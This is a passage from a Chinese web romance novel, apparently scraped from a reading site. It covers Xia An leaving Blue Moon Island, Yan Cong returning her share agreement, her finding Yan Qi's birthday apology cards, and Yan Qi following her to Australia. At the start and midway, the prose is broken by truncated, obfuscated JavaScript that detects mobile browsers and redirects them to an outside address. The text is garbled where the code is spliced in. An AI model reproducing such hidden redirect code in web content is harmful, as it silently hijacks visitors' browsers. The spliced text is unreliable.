l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14473423|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才悠悠转醒,蒙蒙睁开眼,随意抓了两下早就打理好的头发起身道:“怎么这么早,洗漱用品在柜子下面都有新的,你想吃什么?我现在都会做一点。” 他惺忪着眼往前走,不偏不倚腰撞在岛台的桌角边,轻哼一声撑在台面上,微微隆起手臂上好看的线条,被撞的不轻的程度。 “你怎么睡沙发上?”夏桉走向前蹙起眉头,神色难辨盯着他白衬衣下被撞的地方。 颜祈仰头面色怅然说:“书房里没有床。” “你怎么昨晚不说?” “没事,我平时都习惯了,沙发更容易睡着些,”他冷白修长的手指微微蜷起,面色惨白却依然强撑着要去打开冰箱门,“对了,我还跟曲奶奶学了怎么做红粿,很快的,你等等我。” 有这么严重吗?夏桉狐疑扫了一眼桌角,伸出手指在他腰上戳了一下。 颜祈立刻身体往她那边一歪,像被戳到痛处,那样高瘦的一个人额头就落在夏桉的肩上,喷洒的温热呼吸贴在她的耳边,毫不掩饰自己的难受:“你怎么这样。” 夏桉霎时顿住,脖颈直直往后仰,伸出去的食指僵硬在空气里。 淡淡的柑橘清香悄无声息充斥她的大脑,又变回了他以前常用的那一款,夏桉僵立在原地,稍稍闭住呼吸推开他:“痛死你算了。” 刚刚好,颜祈的后腰被她这一推又撞在了岛台边缘,额角青筋立马凸起,下颌紧绷像在死死咬住忍痛,似是被夏桉这一推,五脏六腑都受到了强烈撞击。 夏桉看向自己的掌心,抬眼有点不敢置信,有使这么大的劲? 这下她不想管也找不到理由了,伸手托住颜祈的手臂准备开口,颜祈却反手和她十指相扣,借力撑起身往冰箱那边走,背影身残志坚的不像话。 “没事......你想......吃什么,我现在做......” 夏桉:“.......” 她被这早上突如其来的一整套操作弄晕了头,用了点力从颜祈的指腹抽回手,潜意识告诉她现在应该尽快离开,“我不饿,你还是自己好好休息吧。” 颜祈咬牙喘着粗气:“那怎么行,你说的对,昨天确实是我的问题,不该把你拖下水,现在还要让你饿着肚子回去......” “停!”夏桉被他说的一愣一愣的,反复沉心后妥协道:“我自己来,你还是先管好你自己。” 颜祈被赶回沙发上,夏桉背过身总感觉哪里有点不对,从冰箱里随便拿了几个鸡蛋,在煎锅里打下一个。 一抬头,颜祈不知道什么时候已经背过身,白衬衫短袖外套放在沙发上,这个角度正好可以看到他撩起同色背心的下端,微妙露出窄劲的腰腹后背,冷白的皮肤上是一道赫然的红印。 他低头在掌心挤出药膏揉开,反手涂在后背上,低低闷哼,什么都没说,又好似什么都说了。 大概是房间光线格外好的缘故,夏桉甚至看到他手背微微隆起的青色血管,宽大的手掌覆在皮肤上揉搓,某些不该出现的记忆以一种意想不到的回想速度在脑海里迅速上演。 颜祈突然扭过头,衣服急忙放下,神情有点茫然无措地提醒:“好像焦了。” 夏桉缓缓垂下眸,锅铲一翻眨了好几下眼睛才回神,僵硬倒入垃圾桶,洗锅重新煎了两个,直到吃完早餐也没有再看颜祈一眼,脚步慌乱地往王家走。 昨晚浑身湿透了也没见他脱衣服,今天涂个药就要全程穿个纯棉背心坐她对面。 哪有这样的人??? 颜祈站在窗户旁,目光随着夏桉远去的背影流连,思索片刻,呼出一口气,敛下睫毛嘴角的笑意更甚。 王淑华和李阿婆对她一夜未归的事情只字不提,默契的像从来没有发生过,如同夏桉只是早上出去了一小会,现在又回来了。 余薇的生日就在明日,夏桉不能再多逗留。 王淑华倒也没说什么,只是让她有空经常回来看看,一个人在国外照顾好身体。 夏桉离开的时候没有回头,她总以为自己习惯了这种分别,可是一旦接触过温暖,没有人会再适应寒冷的冬天。 夏桉买好船票提着行李箱上去等开船,一进舱就看到颜祈撑着下巴,手在她面前晃了两下。 原本要满十人才出发的观光船突然轰隆隆动了起来,夏桉定了定神,心中暗想他还真是阴魂不散,背对就近坐在旁边的位置上。 岛上的开发权都在颜家手里,这观光船还不是想什么时候开,就什么时候开。 蓝月岛的身影逐渐变小,和来时是截然不同的心情。 夏桉心里隐隐有点不安,果真在下船的时候灵验,颜祈自作主张拿过她的行李快步放进后备箱,不比冬日里她遇见的那个劫匪慢:“上车,我送你去回去。” “不要。” 颜祈按了一下车钥匙,后备厢锁紧,含义不言而喻,东西都在他那了。 夏桉冷静应对:“你想要就拿走吧,我可以再买。”里面不过是些衣物,给王淑华她们带的东西早就分出去了。 颜祈皱起眉假装思考了一会,恍然:“桉桉,你不会是害怕和我待在一起吧。” “我以为这只是朋友之间最简单的礼数,毕竟你要去参加的是我母亲的生日宴,于公于私我好像都不应该视而不见,把你一个丢在这里离开。” “况且,我明知道你在这里还一个人离开。”他忧心忡忡,“要是真发生点什么,你要我怎么办。” 夏桉:“......” “......我的意思是说,你知道我们家规矩森严,要是我妈他们听说我这样做,也不知道到时候会说些什么,我只是担心我妈他们会因此多想——” 打断他的是一声带着愠怒的后座关门哐响。 夏桉上车就紧闭着眼,听的耳朵疼,要把自己置于一种入境无人可打扰的状态,下一秒,她听到颜祈回头对她说话的声音带着从容自如的亲昵。 “没系安全带。” 夏桉闭着眼往旁边伸手扯过安全带,系好。 他许是笑了一下,又问:“哪个酒店?” “......”夏桉随口报了个名字,不再说话。 一路上颜祈也还算安分,除了中途经过服务站总要停下来买一堆零食放在夏桉的旁边,恨不得把后座填满,除此之外,也还能够忍受。 本来三个小时的车程已经硬生生拉到了五个小时,车又一次停下,夏桉忍无可忍装不下去,睁开眼朝窗外看了一眼,不知道自己在哪。 于后视镜里对上颜祈的目光,不悦道:“玩够了没有。” “已经到了。” 两人同时说。 夏桉眨了眨眼,又往窗外看了几眼,不自然地吞咽了一下,推开车门,“好了,我已经到了,你回去吧。” 颜祈从后备厢里拿出行李箱,没松手,要把夏桉送进去。 夏桉站在门口不愿意进去,身后徐徐又停下了一辆车,她挪动脚步怕挡住别人的路,一边赶人:“我都已经到了,你可以走了。” 颜祈张了张嘴,准备说只把她送到电梯门口而已,可“我”字还没说出口,硬邦邦转了个调。 “哥!” 夏桉略略一顿,回头对上颜淙那张波澜不惊的脸。 66. 第六十六章 颜祈神情冰冷把菜单递给服务员,轻点下颌示意就要这些,对颜淙加入这顿晚餐甚是不满意。 他们不笑的时候有着如出一辙的冷漠俊朗,只是颜淙立体英隽的五官在灼灼灯光下更加稳重,一双深眸肃然幽静,这是天然的年纪优势,也有性格使然。 待服务员离开几秒,颜淙熟悉的声音响起,指向夏桉:“你一直住在这?” 颜祈嘴唇动了动,骨节分明的手在扶手上轻点,已经习惯颜淙总爱盘问的风格。 以前听着有点烦,但今天这些的话听着莫名舒坦,夏桉总不至于连颜淙的问题也不回答。 夏桉瞄了一眼颜祈,迟疑应了声。 颜淙淡淡点头,话里有不容拒绝的强势:“我让人帮你安排退房,等下一起回去。” 恰好这时餐品已经陆续上齐,夏桉吃得坐立难安,没想到颜淙会直接下决定,她在颜淙面前又总会不自觉拘谨,暗暗懊恼要怎么解释她前面只是随便报了一个酒店名字,想要甩开颜祈。 直到快结束也没有找到合适的时机,几人起身,助理就站在前方似有话说,视线还往夏桉身上不经意扫了一眼。 算了,与其被拆穿还不如自己说,夏桉快走两步扯住颜淙定制西装的下摆。 颜淙放慢脚步,停下来看着她。 颜祈的视线落在夏桉捏住黑色布料的指尖,看她往下收了收,眸中瞬间冰冷警戒。 夏桉小声为难道:“吉瑞。” 她只说了两个字,可颜淙已经明白她的意思,那才是她住的酒店名,近在咫尺的助理也没再说,而是顺着颜淙的目光点了一下头。 “好。”颜淙温声回应。 夏桉松开手,嘴唇紧抿,不确定颜祈听到这些的态度,她前面一直在骗他,而颜祈最讨厌人说谎。 分隔多年,有些习惯就像应激反应,她本意上还是不希望颜祈生气,尽量在离开前维持平和的状态。 可颜祈只是笑了一下,哪怕他脸上看不出一点笑意,却在夏桉投来的那一眼里极力温和,像一个身上从来没有长过刺的人,天生就是如此。 余薇夫妇早就收到消息在门口等他们,夏桉一下车就被她拉过去嘘寒问暖,往里面走。 颜父有事叫走了颜淙。 余薇话里踟蹰,但思量已久,再也找不出比明天更合适的场景,这也是她把夏桉叫回来的目的之一,“阿姨明天想正式介绍你的身份,告诉大家你以后就是颜家的人,以后不论在哪颜家都会是你的靠山,小淙和小祈他们——” “妈。”颜祈一声打断,没控制好自己的情绪。 余薇被吓了一跳,须臾之间,颜淙已经从书房出来,叫了声夏桉的名字。 夏桉看向余薇,余薇点点头让她先去。 余薇被颜祈猝然打断不太高兴,待人走远才说:“你那么大声干吗?” “......”颜祈幽怨撇了一眼,耷拉着眼皮不说话。 余薇轻哼,有时候真是拿颜祈没有办法,已经过了最佳管教时期,她也不想和小儿子因为这件事闹僵,只是想想又来气。 “你自己不顶用,这也不行那也不行你要怎么样?” “反正就是不行。”颜祈一口回绝。 ...... 书房内,颜淙从抽屉里把几年前夏桉给他的那份自愿转让股份协议拿了出来,推过去。 他犹记得那个晚上的所有对话,浑身不具备任何杀伤力的小姑娘也会有这样果敢坚毅的时刻,会拿着一份协议在书房早早等他,说要做交易。 他饶有兴致看着这位初次进行谈判的菜鸟对手,很好奇夏桉会用什么作为自己的筹码。 夏桉递过文件,双手握拳搭在身体两侧的沙发上,浑然不知这样在颜淙眼里是极其没有底气的表现,很像公司里那些新来的实习生,他光是随便扫一眼,对方都会立马反思自己刚刚哪里犯了错。 从来没有一个谈判对手会这样轻而易举地先把底牌交到对方的手里。 颜淙长指在沙发扶手上轻点,听到夏桉对他说出一句别出心裁充满戏剧性的评价。 “我没有做过生意,但我觉得你应该是个很好的商人,我想拿它们跟你换。” 颜淙失笑把目光移到夏桉的脸上,女孩面孔清丽,薄直的脊背挺拔,面对他的审视充满胆怯,但还是倔强地微微仰着脸庞没有退缩。 他头一回觉得她和颜祈其实同一类人,对这个世界的认知总带着一种天真的幻想。 颜淙略微走神想,或许是夏桉没有见过他在生意场上三分笑意,不近人情只需要利益最大化的样子,才会给夏桉这种错觉,让她误以为自己手上可以和他谈判的筹码。 “换什么?蓝月岛?”颜淙放下文件。 “是。” 这显然是一笔稳赚不赔的生意,颜淙挑眉对上她诚恳紧张的眼睛,许是从未遇见这样的天真的对手,她的胆怯一览无遗,而且夏桉也和那些人不一样,他不免在这种时刻放软声调,充满劝解和引诱地提醒:“那你的股份可不止这么点。” 夏桉扣的指尖发白,而后摊开掌心把手里的东西放下:“我还想换一样东西。” 是那枚婚戒。 颜淙很少见她带过,夏桉的手指很漂亮,纤长细白,指甲总是修的规整圆润,没往手上涂过那些亮丽的色彩,那位短暂出现的钢琴老师不止一次夸过她天生条件优越。 他想过也许是颜祈不让,也可能是夏桉不方便,但是那样的手确实干干净净的很好看。 颜祈帮她做的选择虽然不是最好的,但很多都符合夏桉自身表现出的气质。 那日求婚不过是转机逗留时间的仓促之举,他没想过夏桉会同意,戒指还是后来让助理在当地买来送过去的,为了拍几张照片先放出风声。 尺寸略大了一号,所以夏桉后来基本没戴他也从未多说。 直到那日颜祈冲进办公室质询他为什么钻石那么小,他想了想去问母亲那颗拍下的蓝钻,母亲说早就给出来了,回复如果他想要自己会找一颗差不多的。 不用,颜淙当时这样回道,第二晚在一场私人晚宴下拍下了一颗新的,淡粉色,很像她指甲透出来的颜色。 现在就放在书房的抽屉里。 夏桉说,她要为她不成熟的决定付出代价,这对他不公平。 平生第一次,颜淙听到有人还会这样为他思量,他从小接受精英教育,爷爷告诉他公平是留来有话语权的人,站在高处才能享受公平,父母更偏爱弟弟,但愿意把家业交给他,这就是一种置换的公平。 从小被颜祈不公平对待的夏桉,竟然还有闲心去衡量他在这场联姻里是否受到公平对待。 那样纤瘦的骨骼里究竟藏着什么样的力量,颜淙始终不可得知。 事情发展到如今,颜淙早已猜透夏桉最初的本意,没什么可生气的点,他们难得一致,在这场联姻里放置的真心都不多,双方都可以完美收回,落得体面,这是上流社会最注重的门楣脸面。 一直温柔善良的人会有需要发泄的时刻吗?还是那些只在颜祈面前才会表现? 颜淙很奇怪自己为什么总在夏桉身上过多联想,而那些都与颜祈有关,可他又很快找到答案。 夏桉身上关于颜祈的痕迹太多了。 一个没有过多要求的人,注定很容易被别人留下痕迹。 ...... 夏桉对于颜淙推来的东西没有接,五年前他们就达成了协议,蓝月岛没有变成垃圾场,她和颜淙的婚约也取消了。 这是一场双方都在恪守规则的公平交易。 颜淙平淡道:“拿回去吧,我当时只是怕你多想。” 夏桉:“可是你的承诺都已经兑现了。” “你不是说我是很好的商人?就当是你年纪太小我先替你保管,这毕竟是你父亲留给你的东西。” 夏桉沉默了会迟疑道:“那我需要再给你什么?” “不用,五年前那场交易我并没有失去什么。”颜淙说:“现在只不过是物归原主。” 夏桉想了想还是把股份推了回去:“那就麻烦你帮我继续保管,我对这些没有接触,不认为放在我这里会更好。” 颜淙凝视着她,意味不明,“这么相信我?” 夏桉没有一丝迟疑地点点头,就算没有小时候那些事情,光凭颜淙现在的行为也足够让她下这个决定。 直到夏桉离开许久,颜淙眼底闪过晦暗的光线,抬手把文件重新塞回柜子里,刚好遮住下方的纯白饰品盒。 推门从书房离开,颜祈倚在安静长廊的墙边等他。 两人视线隔空相峙。 颜祈眼尾慵懒,嘴唇微不可闻地勾了下,幽幽道:“你们聊什么呢?” 颜淙长腿径直走过,没理会他的问题。 颜祈脸色一瞬变得难看,跟上去一只手搭在他的肩膀压低嗓音:“哥。” “没说什么。”颜淙冷淡回道。 “没说什么你们怎么聊这么久,这都有一个小时了。”他和夏桉那几天在海岛上凑起来都没说这么久的话。 “你和她在蓝月岛上说的还少吗?” 颜祈没想到他这么快就知道了,悻悻道:“也没几句。” 他不敢真的招惹颜淙,顿了顿问最后一个问题:“你们之前究竟多久退的婚?” “......我这也是怕明天记者看到了乱写,好提前做个准备。” 颜淙维持惯有的淡漠,但没再避开颜祈的问题:“你把她带去山顶别墅的前一天晚上。” 颜祈僵在原地,长廊里只剩一个人渐行渐远的脚步声。 余薇给夏桉送完礼服回来正好撞见颜淙,如今她总会下意识征询颜淙的意见,把夏桉那件事顺口提起:“我想着明天反正有那么多记者在,哪有比这更好的机会,这几年外面总是有人乱传,把你们取消婚约那件事折腾出好几个乱七八糟的版本,弄得桉桉都不敢回来。” “我把她认作女儿,以后这里就是她光明正大的家,谁还敢乱写。” “你弟弟也是,两个人一起长大,怎么会弄成现在这个样子。” “妈,别管了。”颜淙暗叹一口长气,感到从未有过的如此疲惫,把余薇推回房间,“小祈也该长大了,他自己能处理好的。” 余薇还是不免担忧道:“但愿如此。” ...... 夏桉面对这个曾经充满回忆的房间感慨万千,小兔子玩偶又放在了她的床头,干净如初,里面陈列一切照旧。 只是如今她早就过了需要这些玩偶的年纪,母亲宠溺她,家里的玩偶数不胜数,被接到颜家的时候只带了这一个过来,结果此后数年一直被颜祈当作胜利品占为己有。 现在又愿意全部还给她。 她躺在床上半晌没有睡意,侧身望向在月光下陆离斑驳的琉璃柜,突然发现里面好像多了些东西。 那是颜祈在她房间专门定制的柜子,只能用来展示他送出去的礼物,上下两层,高的那层每格一直都是夏桉按照生日顺序依次摆放,从九岁那年在颜家过的第一个生日,到后来离开,里面一共放了十一个。 但现在显然不止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488350|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她以往只是略略看过一眼就放在里面,用来应付颜祈的问题已经足够。 毕竟颜祈送给她的礼物总是简单粗暴,漂亮大颗的珠宝永远是首选,年年不落。 柜子里多了七个精美的盒子。 一股奇异的感觉冲击心口,而后缓慢沉重地持续叩动心扉,不知是因为紧张,还是因为看到这些感到意外,冥冥中仿佛有什么牵引着她,促使夏桉打开了第一个盒子。 一条三色堇宝石项链,三颗天然缅甸抹谷红宝石切割成心形拼凑镶嵌,纯净无瑕,热烈火彩美的摄人魂魄。 夕雾草胸针。 和母亲一样的蓝色鸢尾耳坠。 ...... 夏桉指尖微微发颤,打开最后那个多出来的盒子。 蓝光莹莹,浑然天成的一轮满月。 颜祈在明珠园套在她手上的戒指。 五年前他就把月亮放在了她的手上。 心脏鸣动的瞬间,夏桉险些没有支撑住,慌乱把盒子往里面一掷,如同被烫伤一般。 距离边缘最近的那个首饰盒掉到了白色厚绒地毯上。 三色堇犹如一颗破碎的心脏,白鸽泣血,在灯光下又一次灼痛她的眼。 夏桉尽力压住震颤的呼吸,弯腰拾起,海绵垫里掉出一张卡片。 「祝桉桉二十岁生日快乐!对不起——颜祈」 心跳倏然衰退缓慢,夏桉踉跄坐在地毯上,隔了很久,静滞的血液才慢慢回温。 那些盒子被她一一打开散落在身旁,无数的珠宝将她环绕,颗颗耀人眼目。 「祝夏桉九岁生日快乐!别总哭了!——颜祈」 「祝夏桉十岁生日快乐!对不起!——颜祈」 「祝夏桉十一岁生日快乐!去年的礼物我很喜欢!——颜祈」 ...... 「祝桉桉十五岁生日快乐!今年夏天有惊喜哦!——颜祈」 「祝桉桉十六岁生日快乐!算了,原谅你,下次不可以再骗我!——颜祈」 ...... 「祝桉桉十八岁生日快乐!怎么又骗我,算了,这是最后一次下不为例,还有一个礼物哦,明天你就会知道!——颜祈」 「祝桉桉十九岁生日快乐!怎么又把我和颜淙的生日记反,好吧,再原谅你一次!——颜祈」 「祝桉桉二十岁生日快乐!对不起!——颜祈」 「祝桉桉二十一岁生日快乐!对不起!——颜祈」 ..... 从二十岁往后的每一年,都开始变成重复的话。 夏桉指尖抚过二十岁的那张卡片,犹见淡淡液体滴落砸出的残痕,心里像卷过一场携风带雨的狂风,酸涩又沉闷。 她从未听过颜祈的对不起,可他却已经对她说过很多遍。 ...... 清晨如期而至。 颜家在江洲市地位非凡,这是颜淙首次以掌权人的身份面相,气场稳练,丰神俊朗的外表吸引了大半的聚光灯。 剩下的一小半落在颜祈身上,豪门世家的争锋向来风云头条的首选。 只是记者们纷纷落败,没有在颜祈清峻的脸上找到任何一个可以拿来做文章的表情。 颜祈从来没想过和颜淙争,他知道颜淙为了坐到那个位置小时候在爷爷那里吃了多少苦头,受过多少严苛的惩罚,但他也不羡慕颜淙能坐到那个位置,那里太高过于险峻,面对的每一个人都披着虚情假意的画皮。 他只是觉得颜淙看起来很累,明明今天他是今日全场的主角,风光无限,依旧是那副不近人情的生冷面孔,可无端的,颜祈在他身上看到了一丝疲惫。 得到了,或许才发现努力想要的也不过如此。 余薇走到哪颜祈就跟到哪,寸步不离。 好不容易甩开一点,颜祈又凑到她的身边,余薇知道他什么意思,就怕自己一个不注意她会跑到台上宣布夏桉要成为他的妹妹。 她昨晚被颜淙那样一说其实已经没了心思,毕竟夏桉也一直没有表态,但又不想这样直接告诉颜祈,确实如颜淙所说,他该吃点苦头。 余薇避开道:“你总跟着我干吗,桉桉在那边。” 颜祈远远看了一眼夏桉,不敢过去怕记者乱写,更怕余薇脱离他的视线跑到台上胡说。 颜祈面对母亲耍赖皮:“不过去,我就要跟着你。” 台上颜淙已经在转让书上签了字,闪光灯四射,他对着话筒先是说了一通冠冕堂皇的场面话,而后宣布万世未来几年的规划以及变动。 场下部分老人脸色微变,但无人敢发作。 颜祈听完见记者散的差不多了才回头去找夏桉,看到远处孙副总凑在她的旁边举着一杯香槟在客气,他刚挪步,就被两个记者拦住,举着话筒问他对颜淙成为继承人有什么看法。 能有什么想法,又不可能直接把心里的想法说出来,今天这样的场合绝对不能黑脸给别人乱写,以免日后落下话柄,说什么颜家小少爷在宴会上愤怒离场,拒绝记者的回答。 等采访结束,夏桉早就不见踪影。 颜祈抓住准备溜走的孙副总,孙副总回头谄笑,对自己过往双面讨好又反水告密的事情闭口不提:“小颜总您找我有事?” “她人呢?” “谁啊?” “别让我说第二遍。” 孙副总逃不过,笑道:“夏小姐是吧,她已经走了。” 颜祈没有什么耐心:“我知道,我问你往哪走的。” 孙副总:“机场吧,刚刚她说要回澳洲。” 67. 第六十七章 寒风凛凛,夏桉赶到许琳家里的时候外面已经下起了雪。 屋里暖气足,可夏桉还是握着热拿铁的杯子缓了好一会,暖意才顺着掌心流向冻僵的肌肉,许安安拿过沙发上的毛毯爬上椅子要给她披上,夏桉配合地转过身,顺手把他抱到了自己腿上坐着。 许安安暖乎乎的小手用力在她手背上蹭来蹭去,想要摩擦生热。 许琳忍不住笑,拿过剪刀当着他们的面拆开包裹里面的东西,仔细分装成小包的香辛料上面打着标签纸,旁边附赠使用方式:“你不知道,上次我妈寄过来的快递里面东西都撒了,东西没吃到快递费还那么贵。” “我让她不要寄了总是不听,生怕许安安被我养成了外国胃,还好你这次回去。” “许安安,谢谢小姨没有?”许琳把酱料和香辛料摆了一桌子,对许安安使了个眼色。 许安安会意,立马侧仰着头乖声乖气说:“谢谢小姨。” 夏桉捏捏他肉嘟嘟的脸颊:“不客气。” 许琳把桌上的东西收拾好,挽起衣袖一副大厨模样:“你等着,我今天要大展拳脚给你露一手。”又低头对许安安说:“许安安快去,把你作业拿出来做了,别让你小姨白来。” 许安安皱起鼻子不想写,许琳立刻瞪大眼睛,才一秒,许安安就扭动身子挣扎着夏桉身上跳下去,哒哒哒的跑到客厅拿起作业过来,一气呵成。 夏桉撑在脸侧看他做作业,许安安幼儿园没有布置,这些都是许琳自己买的,一些简单的算术题,她坚信脑子不用就会生锈,小孩也不例外,她是应试教育里杀出来的,为此没少和丈夫产生纠纷。 许安安做题习惯很好,每写完一道题都会回头验算,夏桉只需要看着,免得他验算完还是错的。 她在澳洲没有再去结交新的朋友,生活简单,但自己并不觉得枯燥,也许是以前一直被束缚着,夏桉格外享受一个人的空间,活动范围基本不会超过住宅一公里。 许琳性格外向,对她能长期待在家里不出去的行为总是充满担忧,隔一段时间就会叫她来家里跟许安安玩,俗称沾沾人气。 许安安做完今天最后一道题,许琳刚好摆盘结束。 夏桉帮忙摆碗筷,许安安自己跑去洗手,分工明确。 “尝尝我做的酱焖牛腩。”许琳把大菜放在夏桉的前面。 牛肉软烂,浓油赤酱,许琳对这道菜做的很有把握,夸耀道:“我的手艺比Leo没差吧,这可是我跟我妈特意学过的。”她给许安安舀了两勺汤汁拌饭,接着说:“我妈以前是厨师,那些都是她几十年的独家秘方,全程自己做的,你等下拿点回去。” 夏桉委婉回绝道:“算了吧,这些都是阿姨特意给你做的,而且我用不到这些东西。” 许琳对她挤了个眼色,语调揶揄:“我知道你怕麻烦不喜欢弄这些,但是架不住我妈再三叮嘱过,我这不是怕她到时候说不定会找你要个感想反馈啥的。” 夏桉:“?” “这还不明显吗?我妈她看上你了。”许琳自揭谜底,忍笑道:“我还有个和你年纪差不多的表弟,现在在昆士兰读博。” “怎么样,要不然我让你们见见?” “是小舅舅吗?”许安安扬起头,嘴角上还沾着酱汁。 许琳接过夏桉递来的纸巾给他擦嘴,笑道:“对呀,就是你小舅舅,你想不想让小姨变成你的婶婶?” 许安安撇开脸:“才不要,小舅舅凶巴巴的,我才不要让小姨变成婶婶。” 许琳面色讪然,把纸巾扔进垃圾桶里,让他吃饭别乱说话,抬头对夏桉辩解道:“你别听许安安瞎说,就是上次我弟弟当他面说了一通吃巧克力的坏处,这孩子一直记到现在。” “其实你不想见也没她关系,这本来就不是什么大事,我也觉得我表弟他不适合你,要不然早把他叫过来了。” 许琳在颜家教她画画的时候,就知道她出身显赫,哪怕夏家再落魄,可瘦死的骆驼比马大,再说还有她和颜家那层关系在,许琳压根就没有想过这些事情。 “我只是觉得你这么年轻,却心如枯槁。”许琳以过来人的身份劝诫道:“年轻人就应该多谈谈恋爱,要不然怎么知道什么样的人最适合自己,现在这个社会,已经很难找到十八九岁那种纯粹的爱情了,” “现在想想,那个时候我去颜家教你,好像也是这个年纪。”许琳调节气氛般夸张道:“天呐,那个时候我竟然都没有想过谈恋爱。” “十八九岁哪里懂什么爱情。”夏桉脑海闪过什么,打断她的话。 “怎么会,那可是情窦初开的年纪......” 许琳说着望向她突然猜到点什么,端起水杯战略性地喝了一口,清清嗓子试探道:“那如果你不想恋爱,能不能帮我看着许安安两天。” 她露出一个为难的表情,但又找不到更好的办法,双手合十拜托道:“我和Leo六周年结婚纪念日要到了,想来想去,身边只有你最靠谱了。” ...... 离开前,许琳拿过许安安的小书包让他背上,蹲下身严肃嘱咐道:“许安安,不可以到小姨家乱碰东西知不知道,听话一点,晚上要早点睡觉,作业每天要记得写,不能挑食,要听小姨的话,等回来给你带礼物好吗?” “嗯。”小孩用力点头。 夏桉不是第一次带许安安回去,用许琳的话说就是,许安安跟她待在一起的时候反而更听话。 两人大手拉小手回到公寓楼下,许安安一路上叽叽喳喳和她说着学校发生的事情,刚上三楼,小孩松开她手往前跑:“让我来开密码。” 才一眨眼的功夫,许安安又跑了回来,牵住夏桉的手把她往楼下扯,嘴里囔囔:“小姨快跑,有坏人。” 门口的人急急忙忙站起来解释:“不是坏人。” 夏桉入定似的站在原地,楼道的光线犹如上个世纪的老电影,缓慢悠长,窗外雪花无声无息,隐隐照亮她那最熟悉的五官。 许安安扯不动夏桉,立马张开手挡在她前面,鼓起一张装凶的小脸质问道:“你是谁?” 夏桉面色淡漠:“你来做什么?” 许安安愣愣转过头,心说怎么台词被抢了。 “我......”颜祈往前一步,见小孩警惕拦在他们之间停下脚步,摊开冻的通红的手,“你把项链落在我这里了。” 莹润的珍珠和窗外的雪一样白,在夏桉眼底落下一个光点。 “丢了吧。”她说。 不管是掉在海里还是被颜祈捡到,反正都是物归原主,对她而言没有本质上的区别。 “我知道垃圾桶在哪。”许安安举起戴着蓝色手套的小手,争先要做一个最听话的好孩子。 颜祈垂眸间露出脆弱受伤的神情,仿佛夏桉要丢的不止是珍珠:“可是,我觉得它应该不想待在垃圾桶里。” “它为什么不想,它又不能说话。”许安安睁着圆溜溜的眼睛不理解,他正是问题最多的年纪,“你怎么知道它不想?” 夏桉打开门没有理会,许安安疑惑的追问留在门外:“你能和它说话吗?它说话......” 大门紧闭。 许安安第n次踩上椅子,站在可视门铃前查看,然后又立马下来到夏桉身旁报告:“小姨,他还站在门口。” “不用理他。” “可是外面好像很冷欸。”许安安想起前面上来的时候,外面雪已经快把他的鞋面盖过去了,窗外的绿化树覆了厚厚一层棉纱。 他想了想又问:“那他是坏人吗?” “......不是。” 许安安今天已经写完作业,有很长的时间可以挥耗,电视上那集动画片他已经看过一遍了,注意力一直在外面的走廊上,没过一会又趴在监控上看:“我怎么从来没有见过他,小姨,你什么时候认识他的?” 夏桉怔了一下,敛下长睫:“和你一样大的时候。” 许安安惊呆了,小嘴微微张开,举起十根手指头计算:“哇~原来你和你的好朋友认识这么久了啊。” 夏桉听到他夸张的语气牵动唇角笑了笑,心里百味杂陈,从五岁时她第一次被带去颜家,到现在已经二十年了。 颜祈在她身边朝夕相处的时间早已超过父母,却从来没有人会用好朋友三个字去形容他们之间的关系。 夏桉感觉自己又做错了事,回蓝月岛的时候她兴许不该那样镇静,给了颜祈错误的信号。 可是她犯的错误只有那一个吗? 明明还有更多,她不该回头被他拉下水,不该听长风说完珍珠的来历,不该打开那些写着对不起的盒子。 夏桉心底不免叹息,在许安安又爬上椅子的时候把他抱了下来,伸手打开门:“进来吧。” 颜祈有点受宠若惊,琥珀色的眼珠不敢看她,低头胡乱地检查自己身上是否得体,最后还是许安安从鞋柜拿出一双拖鞋放到他的面前。 许安安皮肤白皙又是混血儿,肉嘟嘟的小脸生的讨喜,他从小不怕人,况且夏桉也说了他不是坏人,于是从颜祈进来就一直站在门口歪着脑袋光明正大地打量他,然后像个小主人一样拉过颜祈的手让他坐下,跑前跑后给他端水。 等夏桉进厨房才坐到沙发上小声地问:“你刚刚说的都是真的吗?” 颜祈不解。 他举起手半遮住嘴,见夏桉出来又立刻放下,等重新可以说的时候已经忘记了自己要问什么,眼珠转了圈想起夏桉前面说的话,“小姨说,你们已经认识很久了?” “嗯。” “那她为什么要把你关在门外,你是不是做错了事。” 颜祈顿默片刻,轻声问:“你为什么要叫她小姨?” “妈妈让我这样叫的。” “你妈妈呢?” “我妈妈他们去过二人世界了。”许安安靠在沙发上的小脚翘了一下,脑筋转的很快,把话题又扯了回去,“你还没有告诉我呢。” 这时,夏桉从厨房走了出来,一开口,是很冷淡的语气,“吃饭吧。” 晚饭偏向许安安的口味,清淡甜口,三菜一汤,一家三口正常的份量。 颜祈摸不透夏桉的想法,觉得这很像是临行前的最后一顿晚餐,过后便是桥归桥,路归路,接着老死不相往来。 许安安埋头乖乖用餐,看他碗里空空的只有白米饭还以为是不好意思,从碗里盛了一个红烧小排放进颜祈的碗里。 炫耀一样夸道:“我小姨做饭很好吃的。” 颜祈抬起眼眸,什么也没说,就那样拘谨又乖训地看着她。 夏桉重新夹了一块放进许安安的碗里,没有看他,开口说:“你不吃,剩下的也会进垃圾桶。” 颜祈难以辨明这句话的喜怒,但听上去夏桉暂时还不会赶他走,悬在半空的心稍稍安稳。 饭后,许安安的动画片定点放了,小孩的注意力全在电视上面,颜祈一声不响地站起来帮忙收拾,把所有空掉的餐盘端进厨房,夏桉接过放在流理台上。 水声缓响,等待热水的间隙,颜祈站在厨房里没走,轻声问:“你为什么突然就走了?” 夏桉顿了一下,拿过盘子放到龙头下面冲洗。 “结束就回来了。” 她太过平静,使得颜祈有些无所适从,低下头说:“对不起,我没有其他意思,我只是想把那个还给你。” 